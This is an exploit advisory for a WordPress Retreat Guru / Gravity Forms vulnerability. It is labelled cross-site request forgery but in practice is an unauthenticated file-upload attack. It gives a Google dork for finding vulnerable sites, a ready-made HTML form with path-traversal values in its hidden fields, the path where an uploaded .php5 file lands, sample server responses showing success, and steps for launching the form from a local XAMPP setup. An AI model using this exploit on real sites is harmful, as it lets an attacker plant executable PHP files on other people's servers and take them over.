WordPress Retreat Guru Cross Site Request Forgery

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# Exploit Title : WordPress Retreat Guru Cross Site Request Forgery
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 22/05/2019
# Vendor Homepage : retreat.guru - gravityforms.com
# Software Affected Versions : N/A
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : intext:Site by Retreat Guru site:com
# Vulnerability Type : CWE-352 [ Cross-Site Request Forgery (CSRF) ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos

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# Impact :
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WordPress Retreat Guru is vulnerable to cross-site request forgery, caused by
improper validation of user-supplied input. By persuading an authenticated user to visit
a malicious Web site, a remote attacker could send a malformed HTTP request to
perform unauthorized actions. An attacker could exploit this vulnerability to perform
cross-site scripting attacks, Web cache poisoning, and other malicious activities.

The web application does not, or can not, sufficiently verify whether a well-formed,
valid, consistent request was intentionally provided by the user who submitted the request.
When a web server is designed to receive a request from a client without any mechanism
for verifying that it was intentionally sent, then it might be possible for an attacker to trick a
client into making an unintentional request to the web server which will be treated as an
authentic request. This can be done via a URL, image load, XMLHttpRequest, etc. and
can result in exposure of data or unintended code execution.

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# CSRF Cross Site Request Forgery Exploit :
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<title>WordPress Retreat Guru Input Exploiter</title>

<form action="http://[VULNERABLEWEBSITE]/?gf_page=upload" method="post" enctype="multipart/form-data">

<body background=" ">

<input type="file" name="file" id="file"><br>
<input name="form_id" value="../../../" type=hidden">
<input name="name" value="kingskrupellos.html" type=''hidden">
<input name="gform_unique_id" value="../../" type="hidden">
<input name="field_id" value="" type="hidden">
<input type="submit" name="gform_submit" value="submit">

</form>

# Directory File Path :
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 /_input__kingskrupellos.php5

/_input__[YOURFILENAME].php5

# Vulnerability Error :
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{"status" : "error", "error" : {"code": 500, "message": "Failed to upload file."}}

# Vulnerability Error [ Successful ] :
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{"status":"ok","data":{"temp_filename":"..\/..\/_input__kingskrupellos.php5","uploaded_filename":"kingskrupellos.php"}}

# Allowed File Extensions :
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.html  .htm .php5 .php2 .txt  .jpg .gif .png .html.fla  .phtml .pdf

# Example Usage for Windows :
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# Use with XAMPP Control Panel and your Localhost.
# Use from htdocs folder located in XAMPP

# 127.0.0.1/wordpressretreatguruexploiter.html

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# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

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